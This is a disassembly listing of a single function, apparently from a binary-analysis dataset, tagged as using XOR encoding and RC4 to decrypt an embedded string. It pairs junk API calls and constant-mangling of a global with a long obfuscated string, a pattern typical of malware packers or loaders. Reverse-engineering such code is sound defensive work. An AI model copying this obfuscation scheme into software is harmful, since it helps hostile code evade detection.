Function at 0x407700
Capabilities:
Encode data using xor
Encrypt data using rc4 ksa

Disassembly:
push ebp
mov ecx, 3
xor eax, eax
mov ebp, esp
push edi
push esi
lea edi, [ebp - 0x16f]
mov esi, 0x42c04d
push ebx
sub esp, 0x17c
rep movsd dword es:[edi], dword [esi]
lea edi, [ebp - 0x157]
mov esi, 0x42c059
mov ecx, 0x3f
rep movsb byte es:[edi], byte [esi]
mov byte [ebp + eax - 0x118], al
inc eax
cmp eax, 0x100
jne 0x407732
xor esi, esi
xor ecx, ecx
mov edi, 0x3e
mov eax, ecx
xor edx, edx
mov bl, byte [ebp + ecx - 0x118]
div edi
movzx eax, byte [ebp + edx - 0x157]
movzx edx, bl
add eax, edx
add eax, esi
movzx esi, al
mov al, byte [ebp + esi - 0x118]
mov byte [ebp + ecx - 0x118], al
inc ecx
mov byte [ebp + esi - 0x118], bl
cmp ecx, 0x100
jne 0x40774a
call dword [sym.imp.USER32.dll_AnyPopup]
xor esi, esi
xor ecx, ecx
xor edx, edx
inc edx
movzx edx, dl
mov al, byte [ebp + edx - 0x118]
add ecx, eax
movzx ecx, cl
mov bl, byte [ebp + ecx - 0x118]
mov byte [ebp + edx - 0x118], bl
lea ebx, [ebp - 0x163]
mov byte [ebp + ecx - 0x118], al
add al, byte [ebp + edx - 0x118]
movzx eax, al
mov al, byte [ebp + eax - 0x118]
xor al, byte [esi + ebp - 0x16f]
mov byte [ebp + esi - 0x163], al
inc esi
cmp esi, 0xc
jne 0x407793
call fcn.00414d98
mov eax, dword [0x429410]
xor eax, 0xc606576c
mov dword [esp], eax
mov dword [0x429410], eax
call fcn.0040e894
mov eax, dword [0x429410]
mov dword [esp + 8], ebx
mov dword [esp + 0xc], 0xc
mov dword [esp + 4], 0x1204
and eax, 0xb80fca4a
mov dword [esp], str.pWIgKQAdIOxOE7tV6MOS5TLQgBBepiWmFQlnAQRL6fY42YJigsd3CplLssQr_1N6kkinBZ2xC87ZadxUK8NyNtyHMoLjZFLRaVJ6VBqJraM4pPht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2WQmAkpSIqZkYwwvak9OQx_bs_RTOrghHGCrVJClUQTIqmsgcOmfZQ0OEdu8rIyp6qpugT_QEKI2ze76XKOP_hsuajlzsS5ZHkswtZxhEy1NVsFCU18T8dAYLEpQD1GxUZm1L0jz7ot0hVQuBdkuX7BQdEtm8OzuQoFDP57eHEMyGt1P_eLVZEDSvzhQHi8oB6wTFirWKRxORVBE1lJnFDOE1iexRzzzeShsKx5XGkJQznRLlEi9k0ACtS0dcm0RtBSWLbSCj3SwbDqSTQmVqDGI0NemXN2OEO503CXROn3hhv2NRvYscAriWZHSXzJ5_Io5MyQDak5oDf5rMB5CfbbHQefXR9ki8ZxOeLhNK2Y81JXpQ0pZxWnJWywDUpPCvbwoG0RAlyiKMaB4zgU0WULnXXLDMTk4O41mzF_ej4arGnMc_FFcYgjLc6mCyMzJIm3Neb_VuIexfLqjCri6e_juYvjSIsIjgizPVFwa4polfgaXHgH0IcQbaCRyipt81urmYeqHoWiWRrRiTwbbN8Q1SrsxIsZPyhGMuI5vE9zUvZaJptEbFuPJQ1aiEotwArOPAVr1LAiJ3QzvigiYGnEO07p1_z3UcR_2zg1dc3_6l8zTFTES1CEIOhqwxzYcyNiQfaZEtYgSJJZAfjUYGYaRj68FXSILfQPy0w90rjEui
add eax, 0x28459ac7
mov byte [ebp - 0x157], 0
mov dword [0x429410], eax
call fcn.0040b3c4
add esp, 0x17c
pop ebx
pop esi
pop edi
pop ebp
ret